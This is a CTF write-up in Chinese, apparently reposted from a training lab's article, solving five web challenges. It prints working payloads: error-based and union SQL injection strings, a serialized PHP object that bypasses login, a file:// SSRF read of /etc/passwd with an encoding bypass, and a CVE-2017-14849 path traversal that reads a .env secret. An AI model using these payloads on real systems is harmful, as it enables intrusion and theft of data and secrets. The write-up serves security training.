親愛的,關注我吧
11/13
文章共計2983個詞
預計閱讀10分鐘
來和我一起閱讀吧
本文涉及知識點靶場練習:
CTF實驗室
文末閱讀原文或者復制鏈接即可操作
https://www.hetianlab.com/pages/CTFLaboratory.jsp&pk_campaign=weixin-wemedia
Web
0x01 easy_sql
一開始看到是easysql,那就先上sqlmap跑跑看,跑出了資料庫名security以及若干表名
繼續跑flag,結果沒跑出來,最后還是上手工了,
測驗輸入一個單引號,頁面無反應,但是在原始碼中發現了又報錯資訊
接著用單引號和括號閉合,報錯注入,之后想了一下,為什么頁面沒有回顯呢,原來是因為錯誤資訊居然顯示白色,前期被騙了很久,用滑鼠描一下即可看到,
uname=aaa') or updatexml(1,concat(0x7e,mid((select * from flag),1,25)),1)%23&passwd=bbbb
uname=aaa') OR updatexml(1,concat(0x7e,mid((select * from flag),23,50)),1)%23&passwd=bbbb
0x02 ezsqli
開局一個輸入框
查看hint得到原始碼
//a "part" of the source code here
function sqlWaf($s)
{
$filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';
if (preg_match($filter,$s))
return False;
return True;
}
if (isset($_POST['username']) && isset($_POST['password'])) {
if (!isset($_SESSION['VerifyCode']))
die("?");
$username = strval($_POST['username']);
$password = strval($_POST['password']);
if ( !sqlWaf($password) )
alertMes('damn hacker' ,"./index.php");
$sql = "SELECT * FROM users WHERE username='${username}' AND password= '${password}'";
// password format: /[A-Za-z0-9]/
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
if ( $row['username'] === 'admin' && $row['password'] )
{
if ($row['password'] == $password)
{
$message = $FLAG;
} else {
$message = "username or password wrong, are you admin?";
}
} else {
$message = "wrong user";
}
} else {
$message = "user not exist or wrong password";
}
}
?>
password被過濾了,usename沒有過濾,使用聯合查詢,構造username和password回傳admin即可
username=admin1'+union+select+'admin','admin','admin'%23&password=admin&captcha=LSOK
0x03 warmup
下載原始碼開始審計,在index.php中發現了unserialize,估計是考察反序列化的利用了
···
if (isset ($_COOKIE['last_login_info'])) {
$last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info']));
try {
if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) {
die('WAF info: your ip status has been changed, you are dangrous.');
}
} catch(Exception $e) {
die('Error');
}
} else {
$cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
setcookie ('last_login_info', $cookie, time () + (86400 * 30));
}
···
conn.php原始碼
include 'flag.php';
class SQL {
public $table = '';
public $username = '';
public $password = '';
public $conn;
public function __construct() {
}
public function connect() {
$this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");
}
public function check_login(){
$result = $this->query();
if ($result === false) {
die("database error, please check your input");
}
$row = $result->fetch_assoc();
if($row === NULL){
die("username or password incorrect!");
}else if($row['username'] === 'admin'){
$flag = file_get_contents('flag.php');
echo "welcome, admin! this is your flag -> ".$flag;
}else{
echo "welcome! but you are not admin";
}
$result->free();
}
public function query() {
$this->waf();
return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
}
public function waf(){
$blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
foreach ($blacklist as $value) {
if(strripos($this->table, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->username, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->password, $value)){
die('bad hacker,go out!');
}
}
}
public function __wakeup(){
if (!isset ($this->conn)) {
$this->connect ();
}
if($this->table){
$this->waf();
}
$this->check_login();
$this->conn->close();
}
}
?>
可以看到在check_login中,有個flag的輸出點,前提是我們需要偽造成admin用戶
繼續往下看,有個執行SQL陳述句的地方
public function query() {
$this->waf();
return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
}
下面還有個waf,看了一下,發現我們需要構造的萬能密碼所用到的字符不會被ban
$blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
foreach ($blacklist as $value) {
if(strripos($this->table, $value)){
die('bad hacker,go out!');
}
}
所以這里我們可以利用SQL注入來變成admin登錄,username改為admin,password為萬能密碼a' or '1'='1,代碼如下:
include "conn.php";
$sql = new SQL();
$sql->table = "users";
$sql->username = "admin";
$sql->password = "a'or'1'='1";
$a = serialize($sql);
echo $a;
echo base64_encode ($a);
得到
TzozOiJTUUwiOjQ6e3M6NToidGFibGUiO3M6NToidXNlcnMiO3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6MTA6ImEnb3InMSc9JzEiO3M6NDoiY29ubiI7Tjt9,
輸入之后獲得flag
0x04 ssrfME
訪問可以看到有兩個輸入點,一個可以輸入url,一個是驗證碼
腳本爆破驗證
<?php
for ($i=0; $i < 1000000000; $i++) {
$a = substr(md5($i), -6, 6); if ($a == "d17b5b") { echo $i; break; }
}
?>
嘗試使用file協議讀取,發現讀取/etc/passwd成功
讀取/flag,沒成功,嘗試讀取/var/www/html/index.php,得到原始碼,原來是有個waf過濾了flag
···
if (isset($_POST['url']) && isset($_POST['captcha']) && !empty($_POST['url']) && !empty($_POST['captcha']))
{
$url = $_POST['url'];
$captcha = $_POST['captcha'];
$is_post = 1;
if ( $captcha !== $_SESSION['answer'])
{
$die_mess = "wrong captcha";
$is_die = 1;
}
if ( preg_match('/flag|proc|log/i', $url) )
{
$die_mess = "hacker";
$is_die = 1;
}
}
···
file協議讀flag,利用兩個url編碼flag繞過
url=file:///%25%36%36%25%36%63%25%36%31%25%36%37&captcha=43049
0x05 SecretGuess
題目給了原始碼,但是不全
在index.html中發現了source,點擊可以看到原始碼
const express = require('express');
const path = require('path');
const env = require('dotenv').config();
const bodyParser = require('body-parser');
const crypto = require('crypto');
const fs = require('fs')
const hbs = require('hbs');
const process = require("child_process")
const app = express();
app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(bodyParser.urlencoded({ extended: false }))
app.use(bodyParser.json());
app.set('views', path.join(__dirname, "views/"))
app.engine('html', hbs.__express)
app.set('view engine', 'html')
app.get('/', (req, res) => { res.render("index")
})
app.post('/', (req, res) => { if (req.body.auth && typeof req.body.auth === 'string' && crypto.createHash('md5').update(env.parsed.secret).digest('hex') === req.body.auth ) { res.render("index", {result: process.execSync("echo $FLAG")}) } else { res.render("index", {result: "wrong secret"}) }
})
app.get('/source', (req, res) => { res.end(fs.readFileSync(path.join(__dirname, "app.js")))
})
app.listen(80, "0.0.0.0");
在給出dockerfile中,檔案內容為
FROM node:8.5
COPY ./src /usr/local/app
WORKDIR /usr/local/app
ENV FLAG=flag{**********}
RUN npm i --registry=https://registry.npm.taobao.org
EXPOSE 80
CMD node /usr/local/app/app.js
去搜索相關內容,發現了可能會存在CVE-2017-14849漏洞
輸入/static/../../a/../../..//etc/passwd,利用成功
接著去獲取secret,/static/../../a/../../../usr/local/app/.env,得到secret=CVE-2017-14849
根據原始碼中的條件
if (req.body.auth && typeof req.body.auth === 'string' && crypto.createHash('md5').update(env.parsed.secret).digest('hex') === req.body.auth )
我們將CVE-2017-14849進行md5加密之后提交即可獲得flag,auth=10523ece56c1d399dae057b3ac1ad733
11/13
歡迎投稿至郵箱:EDU@antvsion.com
有才能的你快來投稿吧!
戳“閱讀原文”開始get同款ctf體驗
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/218615.html
標籤:其他
上一篇:Conflux 網路通過 PeckShield 派盾安全審計
下一篇:Redis開發與運維_讀書筆記
